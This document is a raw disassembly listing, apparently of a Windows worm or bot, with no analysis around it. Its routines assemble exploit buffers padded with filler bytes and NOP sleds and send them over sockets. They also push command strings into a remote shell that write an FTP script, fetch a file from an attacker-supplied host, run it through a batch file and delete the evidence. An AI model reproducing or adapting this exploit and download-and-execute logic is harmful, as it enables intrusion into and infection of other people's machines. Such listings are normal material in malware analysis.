3 mov ecx, [esp+18h+var_4] mov esi, [esp+18h+var_8] mov eax, ecx lea edi, [ebx+1] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, ebp call sub_4016C2 mov ecx, [esp+18h+var_4] mov [ebp+0], ebx inc ecx mov [ebp+4], ecx lea ecx, [esp+18h+var_8] call sub_4016C2 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 8 retn sub_4246D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4247B0 proc near ; CODE XREF: sub_4012C6j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] sub esp, 8 push esi mov esi, ecx mov ecx, [esp+0Ch+arg_0] push eax mov edx, [esi+4] mov eax, [esi] push ecx push edx push eax lea ecx, [esp+1Ch+var_8] call sub_4021F8 mov ecx, esi call sub_4016C2 mov ecx, [esp+0Ch+var_8] mov edx, [esp+0Ch+var_4] mov [esi], ecx mov [esi+4], edx mov al, 1 pop esi add esp, 8 retn 8 sub_4247B0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424800 proc near ; CODE XREF: sub_402054j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov edx, ecx push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push esi mov ecx, edx call sub_4012C6 pop edi pop esi retn 4 sub_424800 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424840 proc near ; CODE XREF: sub_401505j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push eax push edx call sub_4012C6 retn 8 sub_424840 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424870 proc near ; CODE XREF: sub_4017D5j var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push esi mov esi, ecx call sub_4010A0 test al, al jnz short loc_424884 pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_424884: ; CODE XREF: sub_424870+Dj mov eax, [esi+4] mov ecx, [esi] push eax push ecx push 1 push offset dword_445C0C lea ecx, [esp+1Ch+var_8] call sub_4021F8 mov ecx, esi call sub_4016C2 mov edx, [esp+0Ch+var_8] mov eax, [esp+0Ch+var_4] mov [esi], edx mov [esi+4], eax mov al, 1 pop esi add esp, 8 retn sub_424870 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4248E0 proc near ; CODE XREF: sub_401EC9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] push ecx mov ecx, esi call sub_401505 test al, al jnz short loc_4248FC pop esi retn 8 ; --------------------------------------------------------------------------- loc_4248FC: ; CODE XREF: sub_4248E0+16j mov ecx, esi call sub_4017D5 pop esi retn 8 sub_4248E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424920 proc near ; CODE XREF: sub_401BFEj var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = dword ptr -84Ch var_848 = dword ptr -848h var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_838 = dword ptr -838h var_834 = dword ptr -834h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_804 = dword ptr -804h var_800 = byte ptr -800h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 858h lea ecx, [esp+858h+var_818] push ebx push esi call sub_4012A8 mov esi, [esp+860h+arg_8] cmp esi, 408h jg loc_424CF5 mov ebx, [esp+860h+arg_10] lea eax, [ebx+8] cmp eax, 408h ja loc_424CF5 push edi lea ecx, [esp+864h+var_830] call sub_4012A8 lea ecx, [esp+864h+var_840] call sub_4012A8 lea ecx, [esp+864h+var_810] call sub_4012A8 lea ecx, [esp+864h+var_848] call sub_4012A8 lea ecx, [esp+864h+var_820] call sub_4012A8 lea ecx, [esp+864h+var_828] call sub_4012A8 lea ecx, [esp+864h+var_838] call sub_4012A8 push 4 push offset dword_4458A8 lea ecx, [esp+86Ch+var_830] call sub_4012C6 push 3 push offset dword_4458B0 lea ecx, [esp+86Ch+var_830] call sub_4012C6 lea ecx, [esp+864h+var_830] call sub_401B7C lea ecx, [esp+864h+var_830] call sub_4017D5 mov ecx, 200h mov eax, 42424242h lea edi, [esp+864h+var_800] push 8 rep stosd push offset aRbrbrbrb ; "BBBB" lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ecx, [esp+864h+arg_C] push ebx push ecx lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ebx, [esp+864h+var_83C] mov edx, 409h sub edx, ebx lea eax, [esp+864h+var_800] push edx push eax lea ecx, [esp+86Ch+var_840] call sub_4012C6 lea ecx, [esp+864h+var_840] call sub_401B7C push offset loc_445C30 lea ecx, [esp+868h+var_810] call sub_402054 lea ecx, [esp+864h+var_810] call sub_401B7C mov ecx, 200h mov eax, 44444444h lea edi, [esp+864h+var_800] push 410h rep stosd lea ecx, [esp+868h+var_800] push ecx lea ecx, [esp+86Ch+var_808] call sub_401843 lea ecx, [esp+864h+var_808] call sub_401B7C mov edx, [esp+864h+var_804] mov eax, [esp+864h+var_808] push edx push eax lea ecx, [esp+86Ch+var_810] call sub_401EC9 lea ecx, [esp+864h+var_808] call sub_4016C2 mov ecx, 200h mov eax, 43434343h lea edi, [esp+864h+var_800] push offset aCccc ; "CCCC" rep stosd lea ecx, [esp+868h+var_848] call sub_402054 push 4 push offset dword_4458B4 lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov ecx, [esp+864h+arg_4] push esi push ecx lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov edx, 408h lea eax, [esp+864h+var_800] sub edx, esi lea ecx, [esp+864h+var_848] push edx push eax call sub_4012C6 lea ecx, [esp+864h+var_848] call sub_401B7C mov ecx, [esp+864h+var_844] mov edx, [esp+864h+var_848] push ecx push edx lea ecx, [esp+86Ch+var_820] call sub_401505 mov eax, [esp+864h+var_80C] mov ecx, [esp+864h+var_810] push eax push ecx lea ecx, [esp+86Ch+var_820] call sub_401505 lea ecx, [esp+864h+var_820] call sub_4017D5 lea ecx, [esp+864h+var_848] call sub_4016C2 lea ecx, [esp+864h+var_810] call sub_4016C2 mov edx, [esp+864h+var_83C] mov eax, [esp+864h+var_840] push edx push eax lea ecx, [esp+86Ch+var_828] call sub_401505 mov ecx, [esp+864h+var_82C] mov edx, [esp+864h+var_830] push ecx push edx lea ecx, [esp+86Ch+var_828] call sub_401505 mov eax, [esp+864h+var_81C] mov ecx, [esp+864h+var_820] push eax push ecx lea ecx, [esp+86Ch+var_828] call sub_401505 lea ecx, [esp+864h+var_828] call sub_4017D5 lea ecx, [esp+864h+var_840] call sub_4016C2 lea ecx, [esp+864h+var_830] call sub_4016C2 lea ecx, [esp+864h+var_820] call sub_4016C2 mov ecx, 200h mov eax, 41414141h lea edi, [esp+864h+var_800] lea edx, [esp+864h+var_800] rep stosd push 400h push edx lea ecx, [esp+86Ch+var_838] call sub_4012C6 lea ecx, [esp+864h+var_838] call sub_401B7C push 2 push offset dword_445C24 lea ecx, [esp+86Ch+var_838] call sub_4012C6 mov eax, [esp+864h+var_824] mov ecx, [esp+864h+var_828] push eax push ecx lea ecx, [esp+86Ch+var_838] call sub_401505 lea ecx, [esp+864h+var_838] call sub_4017D5 lea ecx, [esp+864h+var_828] call sub_4016C2 lea ecx, [esp+864h+var_850] call sub_4012A8 lea ecx, [esp+864h+var_858] call sub_4012A8 mov edx, [esp+864h+var_834] mov eax, [esp+864h+var_838] push edx push eax lea ecx, [esp+86Ch+var_850] call sub_401505 lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_838] call sub_4016C2 push offset dword_445C20 lea ecx, [esp+868h+var_858] call sub_402054 mov ecx, [esp+864h+var_84C] mov edx, [esp+864h+var_850] push ecx push edx lea ecx, [esp+86Ch+var_858] call sub_401505 lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016C2 push offset dword_444E68 lea ecx, [esp+868h+var_850] call sub_402054 mov eax, [esp+864h+var_854] mov ecx, [esp+864h+var_858] push eax push ecx lea ecx, [esp+86Ch+var_850] call sub_401505 lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_858] call sub_4016C2 push offset dword_445C14 lea ecx, [esp+868h+var_858] call sub_402054 mov edx, [esp+864h+var_84C] mov eax, [esp+864h+var_850] push edx push eax lea ecx, [esp+86Ch+var_858] call sub_401505 lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016C2 push offset dword_445C10 lea ecx, [esp+868h+var_818] call sub_402054 mov ecx, [esp+864h+var_854] mov edx, [esp+864h+var_858] push ecx push edx lea ecx, [esp+86Ch+var_818] call sub_401505 lea ecx, [esp+864h+var_858] call sub_4016C2 mov eax, [esp+864h+arg_0] mov ecx, [esp+864h+var_818] mov edx, [esp+864h+var_814] pop edi mov [eax], ecx pop esi mov [eax+4], edx pop ebx add esp, 858h retn ; --------------------------------------------------------------------------- loc_424CF5: ; CODE XREF: sub_424920+1Ej ; sub_424920+33j mov eax, [esp+860h+arg_0] mov ecx, [esp+860h+var_818] mov edx, [esp+860h+var_814] pop esi mov [eax], ecx mov [eax+4], edx pop ebx add esp, 858h retn sub_424920 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424E20 proc near ; CODE XREF: sub_401AC8j var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 210h push esi mov esi, [esp+214h+arg_0] lea eax, [esp+214h+var_210] lea ecx, [esp+214h+var_104] push eax push ecx lea edx, [esp+21Ch+var_208] push 0 lea eax, [esi+1] push edx push eax mov [esp+228h+var_204], esi mov [esp+228h+var_208], 1 mov [esp+228h+var_100], esi mov [esp+228h+var_104], 1 mov [esp+228h+var_210], 0Ah mov [esp+228h+var_20C], 0 nop call near ptr 71AB2DC0h cmp eax, 1 jz short loc_424E89 xor eax, eax pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424E89: ; CODE XREF: sub_424E20+5Dj lea ecx, [esp+214h+var_208] push ecx push esi call sub_438256 sub_424E20 endp ; --------------------------------------------------------------------------- test eax, eax jnz short loc_424EA0 pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424EA0: ; CODE XREF: ___:00424E96j mov edx, [esp+224h] mov eax, [esp+220h] mov ecx, [esp+21Ch] push edx push eax push ecx push esi nop call near ptr 71AB615Ah pop esi add esp, 210h retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424F00 proc near ; CODE XREF: sub_4012F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, [esp+8+arg_8] push edi push esi nop call near ptr 71AB2BC0h mov edi, [esp+0Ch+arg_0] mov ebx, dword_511CA0 mov [esp+0Ch+arg_8], eax push 0 lea eax, [esp+10h+arg_8] push 4 push eax push edi call ebx ; send cmp eax, 4 jz short loc_424F33 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_424F33: ; CODE XREF: sub_424F00+2Bj mov ecx, [esp+0Ch+arg_4] push 0 push esi push ecx push edi call ebx ; send xor edx, edx cmp eax, esi setz dl pop edi pop esi mov al, dl pop ebx retn sub_424F00 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424F70 proc near ; CODE XREF: sub_4012F8j var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 104h push ebx push ebp mov ebp, [esp+10Ch+arg_8] push esi lea esi, [ebp+41h] push esi mov [esp+114h+var_104], esi call near ptr 77C2C407h nop mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424FA3 pop esi pop ebp xor al, al pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424FA3: ; CODE XREF: sub_424F70+25j mov ecx, esi push edi mov edx, ecx xor eax, eax mov edi, ebx mov esi, offset dword_445944 shr ecx, 2 rep stosd mov ecx, edx push 85h and ecx, 3 push offset dword_4458BC rep stosb mov ecx, 0Bh mov edi, ebx rep movsd movsw movsb mov [ebx+2Fh], bp mov eax, dword_445974 mov [ebx+31h], eax mov ecx, dword_445978 mov esi, [esp+11Ch+arg_4] mov [ebx+35h], ecx mov ecx, ebp lea eax, [ebx+3Bh] mov edx, ecx mov edi, eax shr ecx, 2 mov [ebx+39h], bp add eax, ebp rep movsd mov ecx, edx and ecx, 3 rep movsb mov ecx, dword_510100 mov esi, [esp+11Ch+arg_0] mov [eax], ecx mov dx, word_510104 push esi mov [eax+4], dx call sub_4012F3 add esp, 0Ch test al, al pop edi jnz short loc_425048 push ebx nop call near ptr 77C2C21Bh add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_425048: ; CODE XREF: sub_424F70+C0j push 0 lea eax, [esp+114h+var_100] push 100h push eax push esi call sub_401AC8 mov ecx, [esp+120h+var_104] push ecx push ebx push esi call sub_4012F3 add esp, 1Ch test al, al jnz short loc_425083 push ebx call near ptr 77C2C21Bh nop add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_425083: ; CODE XREF: sub_424F70+FBj push 0 lea edx, [esp+114h+var_100] push 100h push edx push esi call sub_401AC8 push ebx call near ptr 77C2C21Bh nop add esp, 14h mov al, 1 pop esi pop ebp pop ebx add esp, 104h retn sub_424F70 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425100 proc near ; CODE XREF: sub_401820j var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = word ptr -418h var_416 = dword ptr -416h var_412 = dword ptr -412h var_40E = dword ptr -40Eh var_40A = word ptr -40Ah var_408 = dword ptr -408h var_400 = byte ptr -400h var_3FF = byte ptr -3FFh var_371 = byte ptr -371h arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_9E = dword ptr 0A2h sub esp, 420h push ebp push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [esp+42Ch+var_3FF] rep stosd stosw stosb mov ecx, 23h mov esi, offset sub_445AE8 lea edi, [esp+42Ch+var_400] rep movsd movsw mov ecx, offset byte_449511 movsb call sub_4017EE push eax mov ecx, offset byte_449511 call sub_4017EE mov ecx, [esp+430h+arg_0] push eax mov eax, dword_44964F push eax push ecx call sub_401E10 add esp, 4 lea edx, [esp+438h+var_371] push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... push 400h push edx nop call near ptr 77C3FA76h add eax, 90h lea ecx, [esp+448h+var_408] push eax lea eax, [esp+44Ch+var_400] push eax push 164h push offset sub_445980 push ecx call sub_401BFE mov edx, [eax] xor edi, edi mov [esp+45Ch+var_420], edx add esp, 30h mov eax, [eax+4] cmp eax, edi mov [esp+42Ch+var_41C], eax jnz short loc_4251B2 xor eax, eax pop edi pop esi pop ebp add esp, 420h retn ; --------------------------------------------------------------------------- loc_4251B2: ; CODE XREF: sub_425100+A4j mov ebp, dword_511C38 mov [esp+42Ch+var_408], edi loc_4251BC: ; CODE XREF: sub_425100+161j test edi, edi jnz loc_425267 push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_42524A mov ecx, [esp+42Ch+arg_9E] xor eax, eax mov [esp+42Ch+var_416], eax push ecx mov [esp+430h+var_412], eax mov [esp+430h+var_418], 2 mov [esp+430h+var_40E], eax mov [esp+430h+var_40A], ax call ebp ; ntohs lea edx, [esp+42Ch+arg_4] mov word ptr [esp+42Ch+var_416], ax push edx nop call near ptr 71AB2BF4h mov [esp+42Ch+var_416+2], eax lea eax, [esp+42Ch+var_418] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jz short loc_42523F mov ecx, [esp+42Ch+var_41C] mov edx, [esp+42Ch+var_420] push ecx push edx push esi call sub_4012F8 add esp, 0Ch and eax, 0FFh mov edi, eax loc_42523F: ; CODE XREF: sub_425100+123j push esi nop call near ptr 71AB9639h test edi, edi jnz short loc_425255 loc_42524A: ; CODE XREF: sub_425100+D5j push 3E8h nop call near ptr 28502B8h loc_425255: ; CODE XREF: sub_425100+148j mov eax, [esp+42Ch+var_408] inc eax cmp eax, 2 mov [esp+42Ch+var_408], eax jl loc_4251BC loc_425267: ; CODE XREF: sub_425100+BEj lea ecx, [esp+42Ch+var_420] call sub_4016C2 test edi, edi jz short loc_425297 sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+4E8h+arg_0] mov edi, esp rep movsd movsw call sub_40114F add esp, 0BCh loc_425297: ; CODE XREF: sub_425100+172j pop edi pop esi mov eax, 1 pop ebp add esp, 420h retn sub_425100 endp ; --------------------------------------------------------------------------- aRrrrrrrrrr db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ' db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌé',1Bh,0 align 4 dd 90909000h, 2 dup(90909090h), 4 dup(0CCCCCCCCh), 0BB8068h dd 2EE06800h, 77E80000h, 83FFFDCEh, 8A308C4h, 0C3005101h dd 2 dup(90909090h), 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_425370 proc near ; CODE XREF: sub_4013D4j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi push 0C8h nop call near ptr 28502B8h mov edx, [esp+4+arg_4] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax repne scasb mov eax, [esp+4+arg_0] push 0 not ecx dec ecx push ecx push edx push eax nop call near ptr 71AB428Ah cmp eax, 0FFFFFFFFh pop edi setnz al retn sub_425370 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4253C0 proc near ; CODE XREF: sub_4013BBj var_434 = byte ptr -434h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = byte ptr -40Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 push 0FFFFFFFFh push offset SEH_4253C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 428h xor eax, eax push ebx mov [esp+438h+var_41C], eax push esi mov [esp+43Ch+var_418], eax lea ecx, [esp+43Ch+arg_4] push edi mov [esp+440h+var_414], eax push ecx mov [esp+444h+var_410], eax mov word ptr [esp+444h+var_41C], 2 call near ptr 71AB2BF4h nop mov dx, word_510108 mov [esp+440h+var_418], eax push edx call near ptr 71AB2B66h nop push 0 push 1 push 2 mov word ptr [esp+44Ch+var_41C+2], ax nop call near ptr 71AB3B91h mov esi, eax or ebx, 0FFFFFFFFh cmp esi, ebx jz loc_4256BE lea eax, [esp+440h+var_41C] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, ebx jz loc_4256BE mov edi, dword_511CA4 push 0 lea ecx, [esp+444h+var_40C] push 400h push ecx push esi call edi ; recv lea ecx, [esp+440h+var_434] call sub_40142E mov edx, dword_44964F mov eax, [esp+440h+arg_0] push edx push eax mov [esp+448h+var_4], 0 call sub_401E10 add esp, 4 lea ecx, [esp+444h+var_434] push eax push offset aEchoOpenSD_pif ; "echo open %s %d>.pif \r\n" push ecx call sub_40102D add esp, 10h lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea edx, [esp+440h+var_434] push offset aEchoUserAA_pif ; "echo user a a>>.pif \r\n" push edx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea eax, [esp+440h+var_434] push offset aEchoBinary_pif ; "echo binary>>.pif \r\n" push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE mov ecx, offset byte_449511 call sub_4017EE push eax lea ecx, [esp+444h+var_434] push offset aEchoGetS_pif ; "echo GET %s>>.pif \r\n" push ecx call sub_40102D add esp, 0Ch lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea edx, [esp+440h+var_434] push offset aEchoBye_pif ; "echo bye>>.pif \r\n" push edx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea eax, [esp+440h+var_434] push offset aEcho@echoOffC_ ; "echo @echo off >c.bat\r\n" push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea ecx, [esp+440h+var_434] push offset aEchoFtpNVS_pif ; "echo ftp -n -v -s:.pif >>c.bat\r\n" push ecx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE mov ecx, offset byte_449511 call sub_4017EE push eax lea edx, [esp+444h+var_434] push offset aEchoSC_bat ; "echo %s >>c.bat\r\n" push edx call sub_40102D add esp, 0Ch lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz loc_4256AE lea eax, [esp+440h+var_434] push offset aEchoDel_pifC_b ; "echo del .pif >>c.bat\r\n" push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz short loc_4256AE lea ecx, [esp+440h+var_434] push offset aEchoDelFC_batC ; "echo del /F c.bat >>c.bat\r\n" push ecx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz short loc_4256AE lea edx, [esp+440h+var_434] push offset aEchoExitYC_bat ; "echo exit /y >>c.bat\r\n" push edx call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jz short loc_4256AE lea eax, [esp+440h+var_434] push offset dword_4467AC push eax call sub_40102D add esp, 8 lea ecx, [esp+440h+var_434] call sub_4014DD push eax push esi call sub_4013D4 add esp, 8 test al, al jnz short loc_4256C2 loc_4256AE: ; CODE XREF: sub_4253C0+F3j ; sub_4253C0+120j ... lea ecx, [esp+440h+var_434] mov [esp+440h+var_4], ebx call sub_401226 loc_4256BE: ; CODE XREF: sub_4253C0+6Fj ; sub_4253C0+85j xor al, al jmp short loc_4256EA ; --------------------------------------------------------------------------- loc_4256C2: ; CODE XREF: sub_4253C0+2ECj push 0 lea ecx, [esp+444h+var_40C] push 400h push ecx push esi call edi ; recv push esi nop call near ptr 71AB9639h lea ecx, [esp+440h+var_434] mov [esp+440h+var_4], ebx call sub_401226 mov al, 1 loc_4256EA: ; CODE XREF: sub_4253C0+300j mov ecx, [esp+440h+var_C] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 434h retn sub_4253C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4257F0 proc near ; CODE XREF: sub_40180Cj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_28 = byte ptr 2Ch arg_2C = byte ptr 30h arg_2F = byte ptr 33h arg_59 = byte ptr 5Dh arg_5B = byte ptr 5Fh arg_5C = byte ptr 60h arg_90 = byte ptr 94h arg_A4 = byte ptr 0A8h arg_A5 = byte ptr 0A9h arg_F0 = byte ptr 0F4h arg_190 = byte ptr 194h arg_89C = dword ptr 8A0h arg_8AC = byte ptr 8B0h arg_8D4 = dword ptr 8D8h arg_8E4 = byte ptr 8E8h arg_C08 = dword ptr 0C0Ch arg_C0C = dword ptr 0C10h arg_C18 = byte ptr 0C1Ch arg_E30 = byte ptr 0E34h arg_E50 = byte ptr 0E54h arg_E70 = byte ptr 0E74h arg_E90 = byte ptr 0E94h arg_1480 = byte ptr 1484h arg_14E0 = byte ptr 14E4h arg_14FC = byte ptr 1500h arg_1CCC = byte ptr 1CD0h arg_2177 = byte ptr 217Bh arg_2464 = byte ptr 2468h arg_24C5 = byte ptr 24C9h arg_34F8 = byte ptr 34FCh arg_3FA0 = byte ptr 3FA4h arg_3FC0 = byte ptr 3FC4h arg_401C = byte ptr 4020h arg_401D = byte ptr 4021h arg_4020 = byte ptr 4024h arg_4030 = byte ptr 4034h arg_4AF4 = byte ptr 4AF8h arg_6098 = byte ptr 609Ch arg_60F8 = byte ptr 60FCh arg_6100 = byte ptr 6104h arg_8140 = byte ptr 8144h arg_81DC = byte ptr 81E0h arg_8234 = dword ptr 8238h arg_8290 = dword ptr 8294h arg_8294 = dword ptr 8298h mov eax, 81D8h call sub_437B30 mov eax, dword_44690C mov ecx, dword_446910 push ebx push ebp push esi lea edx, [esp+0Ch+arg_81DC] push edi mov [esp+10h], eax push edx lea eax, [esp+14h+arg_4] push offset dword_446900 push eax mov [esp+1Ch+arg_0], ecx nop call sub_5FADE9 add esp, 0Ch xor eax, eax lea ecx, [esp+10h+arg_A5] loc_425835: ; CODE XREF: sub_4257F0+56j mov dl, [esp+eax+10h+arg_4] inc eax mov [ecx-1], dl mov byte ptr [ecx], 0 add ecx, 2 cmp eax, 28h jl short loc_425835 mov ecx, 18h mov esi, offset dword_4461D0 lea edi, [esp+10h+arg_2C] xor eax, eax rep movsd lea edi, [esp+10h+arg_4] or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea esi, [esp+10h+arg_A4] shl ecx, 1 mov eax, ecx lea edi, [esp+10h+arg_5C] shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 mov edx, dword_446227 rep movsb lea edi, [esp+10h+arg_4] or ecx, 0FFFFFFFFh repne scasb not ecx mov eax, dword_44622B dec ecx lea edi, [esp+10h+arg_4] lea ecx, [esp+ecx*2+10h+arg_5B] mov [ecx], edx mov dl, byte_44622F mov [ecx+4], eax xor eax, eax mov [ecx+8], dl or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea edi, [esp+10h+arg_4] mov ebx, ecx or ecx, 0FFFFFFFFh add bl, 1Ah shl bl, 1 repne scasb mov ax, word_510108 mov [esp+10h+arg_2F], bl not ecx dec ecx push eax shl cl, 1 add cl, 9 mov [esp+14h+arg_59], cl nop call near ptr 71AB2B66h mov edx, [esp+14h+arg_8294] xor eax, 9999h test edx, edx mov word_445ED0, ax jz loc_4259E3 mov ecx, 36Bh mov eax, 90909090h lea edi, [esp+14h+arg_F0] mov edx, dword_4465C4[edx*8] rep stosd mov edi, offset loc_445E20 or ecx, 0FFFFFFFFh xor eax, eax mov esi, offset loc_445E20 repne scasb not ecx dec ecx lea edi, [esp+14h+arg_8E4] mov eax, ecx mov [esp+14h+arg_8D4], edx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, dword_4468F8 mov edi, offset loc_445E20 mov [esp+14h+arg_C08], ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx mov [esp+14h+arg_C0C], edx mov edx, ecx mov esi, offset loc_445E20 lea edi, [esp+14h+arg_C18] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb lea ecx, [esp+14h+arg_24C5] loc_42598F: ; CODE XREF: sub_4257F0+1B5j mov dl, [esp+eax+14h+arg_F0] inc eax mov [ecx-1], dl mov byte ptr [ecx], 0 add ecx, 2 cmp eax, 0DACh jl short loc_42598F mov ecx, 714h mov eax, 31313131h lea edi, [esp+14h+arg_60F8] mov [esp+14h+arg_401C], 0 rep stosd stosw mov ecx, 714h mov eax, 31313131h lea edi, [esp+14h+arg_4020] mov [esp+14h+arg_401D], 0 rep stosd stosw jmp short loc_425A52 ; --------------------------------------------------------------------------- loc_4259E3: ; CODE XREF: sub_4257F0+10Bj mov ecx, 1F4h mov eax, 90909090h lea edi, [esp+14h+arg_F0] mov esi, offset loc_445E20 rep stosd mov edi, offset loc_445E20 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx lea edi, [esp+14h+arg_190] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb 